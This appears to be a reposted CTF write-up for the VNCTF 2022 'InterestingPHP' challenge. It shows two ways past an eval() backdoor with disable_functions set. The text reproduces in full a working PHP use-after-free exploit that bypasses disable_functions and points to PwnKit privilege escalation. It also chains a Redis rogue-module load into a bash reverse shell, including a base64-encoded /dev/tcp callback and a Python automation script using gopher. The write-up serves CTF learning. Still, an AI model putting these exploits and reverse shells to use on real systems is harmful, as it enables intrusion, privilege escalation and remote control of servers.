当前位置:网站首页>VNCTF 2022 InterestingPHP
VNCTF 2022 InterestingPHP
2022-06-09 19:28:00 【Sentiment._】
After opening the environment, there is a simple line of code , The shorter the code, the more difficult the problem is ....
<?php highlight_file(__FILE__); @eval($_GET['exp']);?>
Try... Here phpinfo And so on ban 了 , So read it through other functions disable_function Take a look at the filter function
function
These two functions are mainly used to read configuration information
ini_get_all
(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)
ini_get_all — Get all configuration options
explain ini_get_all(string $extension = ?, bool $details = true): array
Get all registered configuration options
get_cfg_var
(PHP 4, PHP 5, PHP 7, PHP 8)
get_cfg_var — obtain PHP Values for configuration options
explain get_cfg_var(string $option): mixed obtain PHP configuration option option Value .
This function does not return PHP Compiled configuration information , Or from Apache Profile read .
Check whether the system uses a configuration file , And try to get cfg_file_path The value of the configuration setting of . If effective , A configuration file will be used .
The blacklist
In the use of get_cfg_var No echo found , Later, it was changed to ini_get_all Read configuration information , After reading, it is found that get_cfg_var Also by ban 了

Solution 1
Write an upload entry
<form id="upload-form" action="http://adbda8f7-1894-4fb9-97b9-0ec6f2be294c.node4.buuoj.cn:81/?exp=eval($_POST[1]);" method="post" enctype="multipart/form-data" >
<input type="file" id="Upload" name="1" /> <br />
<input type="submit" value="Upload" />
</form>
Discovery can be executed and php Version is 7.2.25

Use master's script to bypass disable_functions
https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php
Check to see if there are any filtered parts before executing
filter = 'include,include_once,require,require_once,stream_get_contents,fwrite,readfile,file_get_contents,fread,fgets,' \
'fgetss,file,parse_ini_file,show_source,fsockopen,proc_open,ini_set,pfsockopen,ini_alter,ini_get,posix_kill,' \
'phpinfo,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,' \
'pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,' \
'pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,' \
'pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,' \
'iconv,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,dl,mail,stream_socket_client,' \
'error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,get_cfg_var'.split(
',')
payload = ''' <?php pwn('uname -a'); function pwn($cmd) { define('LOGGING', false); define('CHUNK_DATA_SIZE', 0x60); define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE); define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50); define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1); define('CMD', $camd); for($i = 0; $i < 10; $i++) { $groom[] = Pwn::alloc(STRING_SIZE); } stream_filter_register('pwn_filter', 'Pwn'); $fd = fopen('php://memory', 'w'); stream_filter_append($fd,'pwn_filter'); fwrite($fd, 'x'); } class Helper { public $a, $b, $c; } class Pwn extends php_user_filter { private $abc, $abc_addr; private $helper, $helper_addr, $helper_off; private $uafp, $hfp; public function filter($in, $out, &$consumed, $closing) { if($closing) return; stream_bucket_make_writeable($in); $this->filtername = Pwn::alloc(STRING_SIZE); fclose($this->stream); $this->go(); return PSFS_PASS_ON; } private function go() { $this->abc = &$this->filtername; $this->make_uaf_obj(); $this->helper = new Helper; $this->helper->b = function($x) {}; $this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2; $this->log("helper @ 0x%x", $this->helper_addr); $this->abc_addr = $this->helper_addr - CHUNK_SIZE; $this->log("abc @ 0x%x", $this->abc_addr); $this->helper_off = $this->helper_addr - $this->abc_addr - 0x18; $helper_handlers = $this->str2ptr(CHUNK_SIZE); $this->log("helper handlers @ 0x%x", $helper_handlers); $this->prepare_leaker(); $binary_leak = $this->read($helper_handlers + 8); $this->log("binary leak @ 0x%x", $binary_leak); $this->prepare_cleanup($binary_leak); $closure_addr = $this->str2ptr($this->helper_off + 0x38); $this->log("real closure @ 0x%x", $closure_addr); $closure_ce = $this->read($closure_addr + 0x10); $this->log("closure class_entry @ 0x%x", $closure_ce); $basic_funcs = $this->get_basic_funcs($closure_ce); $this->log("basic_functions @ 0x%x", $basic_funcs); $zif_system = $this->get_system($basic_funcs); $this->log("zif_system @ 0x%x", $zif_system); $fake_closure_off = $this->helper_off + CHUNK_SIZE * 2; for($i = 0; $i < 0x138; $i += 8) { $this->write($fake_closure_off + $i, $this->read($closure_addr + $i)); } $this->write($fake_closure_off + 0x38, 1, 4); $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68; $this->write($fake_closure_off + $handler_offset, $zif_system); $fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off; $this->write($this->helper_off + 0x38, $fake_closure_addr); $this->log("fake closure @ 0x%x", $fake_closure_addr); $this->cleanup(); ($this->helper->b)(CMD); } private function make_uaf_obj() { $this->uafp = fopen('php://memory', 'w'); fwrite($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE)); for($i = 0; $i < STRING_SIZE; $i++) { fwrite($this->uafp, "\x00"); } } private function prepare_leaker() { $str_off = $this->helper_off + CHUNK_SIZE + 8; $this->write($str_off, 2); $this->write($str_off + 0x10, 6); $val_off = $this->helper_off + 0x48; $this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8); $this->write($val_off + 8, 0xA); } private function prepare_cleanup($binary_leak) { $ret_gadget = $binary_leak; do { --$ret_gadget; } while($this->read($ret_gadget, 1) !== 0xC3); $this->log("ret gadget = 0x%x", $ret_gadget); $this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60)); $this->write(8, $ret_gadget); } private function read($addr, $n = 8) { $this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10); $value = strlen($this->helper->c); if($n !== 8) { $value &= (1 << ($n << 3)) - 1; } return $value; } private function write($p, $v, $n = 8) { for($i = 0; $i < $n; $i++) { $this->abc[$p + $i] = chr($v & 0xff); $v >>= 8; } } private function get_basic_funcs($addr) { while(true) { // In rare instances the standard module might lie after the addr we're starting // the search from. This will result in a SIGSGV when the search reaches an unmapped page. // In that case, changing the direction of the search should fix the crash. // $addr += 0x10; $addr -= 0x10; if($this->read($addr, 4) === 0xA8 && in_array($this->read($addr + 4, 4), [20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) { $module_name_addr = $this->read($addr + 0x20); $module_name = $this->read($module_name_addr); if($module_name === 0x647261646e617473) { $this->log("standard module @ 0x%x", $addr); return $this->read($addr + 0x28); } } } } private function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = $this->read($addr); $f_name = $this->read($f_entry, 6); if($f_name === 0x6d6574737973) { return $this->read($addr + 8); } $addr += 0x20; } while($f_entry !== 0); } private function cleanup() { $this->hfp = fopen('php://memory', 'w'); fwrite($this->hfp, pack('QQ', 0, $this->abc_addr)); for($i = 0; $i < FILTER_SIZE - 0x10; $i++) { fwrite($this->hfp, "\x00"); } } private function str2ptr($p = 0, $n = 8) { $address = 0; for($j = $n - 1; $j >= 0; $j--) { $address <<= 8; $address |= ord($this->abc[$p + $j]); } return $address; } private function ptr2str($ptr, $n = 8) { $out = ''; for ($i = 0; $i < $n; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } private function log($format, $val = '') { if(LOGGING) { printf("{$format}\n", $val); } } } static function alloc($size) { return str_shuffle(str_repeat('A', $size)); } } ?> '''
for i in filter:
# print(i)
if i in payload:
print(i)
continue
Find out fwrite Filtered , But you can use fputs
pwn('uname -a');
function pwn($cmd) {
define('LOGGING', false);
define('CHUNK_DATA_SIZE', 0x60);
define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
define('CMD', $cmd);
for($i = 0; $i < 10; $i++) {
$groom[] = Pwn::alloc(STRING_SIZE);
}
stream_filter_register('pwn_filter', 'Pwn');
$fd = fopen('php://memory', 'w');
stream_filter_append($fd,'pwn_filter');
fputs($fd, 'x');
}
class Helper {
public $a, $b, $c; }
class Pwn extends php_user_filter {
private $abc, $abc_addr;
private $helper, $helper_addr, $helper_off;
private $uafp, $hfp;
public function filter($in, $out, &$consumed, $closing) {
if($closing) return;
stream_bucket_make_writeable($in);
$this->filtername = Pwn::alloc(STRING_SIZE);
fclose($this->stream);
$this->go();
return PSFS_PASS_ON;
}
private function go() {
$this->abc = &$this->filtername;
$this->make_uaf_obj();
$this->helper = new Helper;
$this->helper->b = function($x) {
};
$this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
$this->log("helper @ 0x%x", $this->helper_addr);
$this->abc_addr = $this->helper_addr - CHUNK_SIZE;
$this->log("abc @ 0x%x", $this->abc_addr);
$this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;
$helper_handlers = $this->str2ptr(CHUNK_SIZE);
$this->log("helper handlers @ 0x%x", $helper_handlers);
$this->prepare_leaker();
$binary_leak = $this->read($helper_handlers + 8);
$this->log("binary leak @ 0x%x", $binary_leak);
$this->prepare_cleanup($binary_leak);
$closure_addr = $this->str2ptr($this->helper_off + 0x38);
$this->log("real closure @ 0x%x", $closure_addr);
$closure_ce = $this->read($closure_addr + 0x10);
$this->log("closure class_entry @ 0x%x", $closure_ce);
$basic_funcs = $this->get_basic_funcs($closure_ce);
$this->log("basic_functions @ 0x%x", $basic_funcs);
$zif_system = $this->get_system($basic_funcs);
$this->log("zif_system @ 0x%x", $zif_system);
$fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
for($i = 0; $i < 0x138; $i += 8) {
$this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
}
$this->write($fake_closure_off + 0x38, 1, 4);
$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
$this->write($fake_closure_off + $handler_offset, $zif_system);
$fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
$this->write($this->helper_off + 0x38, $fake_closure_addr);
$this->log("fake closure @ 0x%x", $fake_closure_addr);
$this->cleanup();
($this->helper->b)(CMD);
}
private function make_uaf_obj() {
$this->uafp = fopen('php://memory', 'w');
fputs($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
for($i = 0; $i < STRING_SIZE; $i++) {
fputs($this->uafp, "\x00");
}
}
private function prepare_leaker() {
$str_off = $this->helper_off + CHUNK_SIZE + 8;
$this->write($str_off, 2);
$this->write($str_off + 0x10, 6);
$val_off = $this->helper_off + 0x48;
$this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
$this->write($val_off + 8, 0xA);
}
private function prepare_cleanup($binary_leak) {
$ret_gadget = $binary_leak;
do {
--$ret_gadget;
} while($this->read($ret_gadget, 1) !== 0xC3);
$this->log("ret gadget = 0x%x", $ret_gadget);
$this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
$this->write(8, $ret_gadget);
}
private function read($addr, $n = 8) {
$this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
$value = strlen($this->helper->c);
if($n !== 8) {
$value &= (1 << ($n << 3)) - 1; }
return $value;
}
private function write($p, $v, $n = 8) {
for($i = 0; $i < $n; $i++) {
$this->abc[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
private function get_basic_funcs($addr) {
while(true) {
// In rare instances the standard module might lie after the addr we're starting
// the search from. This will result in a SIGSGV when the search reaches an unmapped page.
// In that case, changing the direction of the search should fix the crash.
// $addr += 0x10;
$addr -= 0x10;
if($this->read($addr, 4) === 0xA8 &&
in_array($this->read($addr + 4, 4),
[20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
$module_name_addr = $this->read($addr + 0x20);
$module_name = $this->read($module_name_addr);
if($module_name === 0x647261646e617473) {
$this->log("standard module @ 0x%x", $addr);
return $this->read($addr + 0x28);
}
}
}
}
private function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->read($addr);
$f_name = $this->read($f_entry, 6);
if($f_name === 0x6d6574737973) {
return $this->read($addr + 8);
}
$addr += 0x20;
} while($f_entry !== 0);
}
private function cleanup() {
$this->hfp = fopen('php://memory', 'w');
fputs($this->hfp, pack('QQ', 0, $this->abc_addr));
for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
fputs($this->hfp, "\x00");
}
}
private function str2ptr($p = 0, $n = 8) {
$address = 0;
for($j = $n - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($this->abc[$p + $j]);
}
return $address;
}
private function ptr2str($ptr, $n = 8) {
$out = '';
for ($i = 0; $i < $n; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
private function log($format, $val = '') {
if(LOGGING) {
printf("{$format}\n", $val);
}
}
static function alloc($size) {
return str_shuffle(str_repeat('A', $size));
}
}
After modification, it will echo "123"; Change to the one above poc, Found successful execution

Play it shell

I found that I didn't have permission after playing

find / -perm -u=s -type f 2>/dev/null

suid Raise the right --> pkexec Raise the right arthepsy/CVE-2021-4034: PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit’s pkexec (CVE-2021-4034) (github.com)
Download it and transfer it to the server , adopt curl The command is sent to the other server , Command execution is in progress

Solution 2
perform var_dump(scandir(‘.’)); after , Found a local redis Backup file

adopt /?exp=highlight_file('secret.rdb'); obtain redis key,ye_w4nt_a_gir1fri3nd

The default port of this question is not 6379, So I need to sweep it redis The port of
<?php
highlight_file(__FILE__);
for($i=0;$i<65535;$i++) {
$t=stream_socket_server("tcp://0.0.0.0:".$i,$ee,$ee2);
if($ee2 === "Address already in use") {
var_dump($i);
}
}
base64 code +url Write after encoding 2.php

visit 2.php, Get the corresponding port 8888

After through get_loaded_extensions() View all loaded extensions , See if any of them can be related to redis interactive ?exp=var_dump(get_loaded_extensions());( By default, the ant sword uses stream_get_contents() But it was ban 了 )

Find out redis Class available , Reference resources :
https://blog.csdn.net/raoxiaoya/article/details/100515541
https://learnku.com/articles/32113
obtain redis class 、 Port and key after , Use redis How to load modules rce https://xz.aliyun.com/t/5665#toc-14
Upload so File to local server Then bounce back shell
n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE (github.com)
take exp.so Conduct base64 code , It's going on url code , After through file_put_contents The exp.so In file


Write another execution exp.so The file of 1.php,Redis There are rawCommand() ⽅ Law can be enforced ⾏redis Command operation of
<?php
highlight_file(__FILE__);
$redis = new Redis();
$redis->connect('127.0.0.1',8888);
$redis->auth('ye_w4nt_a_gir1fri3nd');
$redis->rawCommand('module','load','/var/www/html/exp.so');
$redis->rawCommand("system.exec","bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuNzYuMTQvNDAwMCAwPiYx}|{base64,-d}|{bash,-i}'");
Again base64 code +url After the coding , write in 1.php

visit 1.php Successful rebound shell

You can also use scripts directly
import requests
url = "http://fd489e4d-b856-427b-aa9b-4616a6d053a2.node4.buuoj.cn:81/?exp=eval($_POST[1]);"
headers = {
"content-type": "application/x-www-form-urlencoded"}
def encoder_url(data):
encoder = ""
for single_char in data:
encoder += str(hex(ord(single_char)))
encoder = encoder.replace("0x","%").replace("%a","%0d%0a")
return encoder
so = "http://xxxxx/exp.so"
payload = ''' function getSslPage($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true ); $result = curl_exec($ch); curl_close($ch); file_put_contents("exp.so",$result); } getSslPage("%s"); '''.strip()
data = {
1: payload % so
}
fh = requests.post(url, data, headers=headers).text.strip()
print(fh)
gopher = "gopher://127.0.0.1:8888/_"
data = ''' auth ye_w4nt_a_gir1fri3nd config set dbfilename 666.rdb module load ./exp.so system.exec 'bash -c "bash -i >& /dev/tcp/xxxxxxx/4000 0>&1"' '''
encoder = encoder_url(data)
payload1 = gopher + encoder
data1 = {
1:payload % payload1
}
fh1 = requests.post(url,data1,headers=headers).text.strip()
print(fh1)
Then there is the right raising Just like the front
边栏推荐
猜你喜欢
MySQL has no service and the ultimate solution sharing that the service cannot be started

2018年全国职业院校技能大赛中职组“网络空间安全”正式赛卷及评分标准

Hu Jie, former senior economist of the Federal Reserve: future financial trends from the upgrading of usdd

The white paper on the panorama of the digital economy, bank wealth management, was released
![[database data recovery] data recovery case of SQLSERVER database file missing for unknown reasons under Windows Server Environment](/img/aa/9942e0c661032dbb9654100dc4d709.png)
[database data recovery] data recovery case of SQLSERVER database file missing for unknown reasons under Windows Server Environment

mtb12_ PearsonR_ correlAtion coefficient_ heatmap_ Distribution Bin_ Clean step type conversion caution_ spatial dist_ Change para value

整形有序数组查找--遍历法与折半法/二分法

尽一份孝心,为家人做一个老人防摔报警系统

快速求完全二叉树的节点个数

Have you established an internal wiki?
随机推荐
视觉AI芯片厂商肇观电子获亿元融资,工银资本领投
SSM驾校管理系统
[database data recovery] data recovery case of SQLSERVER database file missing for unknown reasons under Windows Server Environment
10 common high-frequency business scenarios that trigger IO bottlenecks
Fast finding the number of nodes in a complete binary tree
英特尔、三星、高通等将组团收购Arm?
德州仪器发函:下半年供需失衡将缓解!模拟芯片涨势终结?
整形有序数组查找--遍历法与折半法/二分法
Traversal by layer of binary tree
5 最长回文子串(区间 dp)
Invest 400million euros! Intel and Spanish Supercomputing Center develop risc-v processor, which will be used for 100 billion times of supercomputing
【tgowt】cmake转ninja构建
Samsung completely closed the LCD production line, and 300 employees were transferred to the chip packaging Department
155_模型_Power BI & Power Pivot 进销存之安全库存
Troubleshooting cl210openstack operations -- diagnosing openstack problems
Desai wisdom number - line chart (smooth line chart): number of college entrance examination students in each province in 2022
2022年中职组“网络安全”赛项山东淄博工业学校新生测试—竞赛任务书
Left hand technology, right hand ecology! Can Intel win this "data" war?
前美联储高级经济学家胡捷:从USDD升级看未来金融趋势
5 sous - chaîne palindrome la plus longue (intervalle DP)